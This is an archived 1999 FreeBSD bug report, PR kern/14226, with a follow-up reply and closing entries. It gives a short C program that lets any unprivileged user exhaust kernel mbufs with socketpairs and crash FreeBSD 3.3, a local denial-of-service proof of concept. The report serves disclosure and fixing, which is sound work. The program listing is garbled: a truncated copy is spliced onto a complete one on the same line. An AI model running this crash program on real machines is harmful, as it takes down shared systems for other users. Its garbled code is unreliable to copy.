From nobody@FreeBSD.ORG Sat Oct  9 02:38:58 1999
Return-Path: <nobody@FreeBSD.ORG>
Received: by hub.freebsd.org (Postfix, from userid 32767)
	id 2AD5914A23; Sat,  9 Oct 1999 02:38:58 -0700 (PDT)
Message-Id: <19991009093858.2AD5914A23@hub.freebsd.org>
Date: Sat,  9 Oct 1999 02:38:58 -0700 (PDT)
From: jar@ntu-kpi.kiev.ua
Sender: nobody@FreeBSD.ORG
To: freebsd-gnats-submit@freebsd.org
Subject: panic: no mbufs
X-Send-Pr-Version: www-1.0

>Number:         14226
>Category:       kern
>Synopsis:       panic: no mbufs
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    green
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Sat Oct  9 02:40:00 PDT 1999
>Closed-Date:    Mon Dec 13 13:22:26 PST 1999
>Last-Modified:  Mon Dec 13 13:23:40 PST 1999
>Originator:     Yaroslav Halchinsky
>Release:        3.3-RC
>Organization:
>Environment:
FreeBSD texas.plat.kiev.ua 3.3-RC FreeBSD 3.3-RC #2: Fri Oct  8 16:01:17 EEST 1999    root@jar.plat.kiev.ua:/usr/src/sys/compile/TEXAS  i386
>Description:
The following program running by any unprivileged user
crashes FreeBSD 3.3-RC (RELEASE and STABLE as well)

#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>

#define         BUFFERSIZE      204800

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];

        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>

#define         BUFFERSIZE      204800

extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];

        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }
        exit(0);
}


>How-To-Repeat:
Build and run the program
>Fix:


>Release-Note:
>Audit-Trail:

From: Bosko Milekic <bmilekic@dsuper.net>
To: freebsd-gnats-submit@freebsd.org, jar@ntu-kpi.kiev.ua
Cc:  
Subject: Re: kern/14226: panic: no mbufs
Date: Sun, 5 Dec 1999 21:09:22 -0500 (EST)

   Yaroslav,
 
   I would recommend for you to take a look at PR: kern/14042 -- I filed
   this just a few days before you filed yours.
 
 	In effect, the PR deals with the same situation, and offers a
   potential element in helping solve it (with addition to sbsize limiting
   through login.conf -- unfortunately only available for -CURRENT at the
   present time). I would recommend that you post further feedback, if you
   still feel that it is necessary in response to that PR, so that someone
   with the proper privilages may close this one, so that the number of
   duplicate PRs may go down. I for one am thankful for your initial posting
   and hope that you will find time to contribute to solving further
   problems, if the need arises.
 
   -Bosko.
 
 --
   Bosko Milekic <bmilekic@technokratis.com>
 
 
 
State-Changed-From-To: open->closed 
State-Changed-By: billf 
State-Changed-When: Mon Dec 13 13:22:26 PST 1999 
State-Changed-Why:  
Fixes were committed to -CURRENT to stop this, see  
kern/14042. 


Responsible-Changed-From-To: freebsd-bugs->green 
Responsible-Changed-By: billf 
Responsible-Changed-When: Mon Dec 13 13:22:26 PST 1999 
Responsible-Changed-Why:  
Brian committed the fixes to stop this. 
>Unformatted:
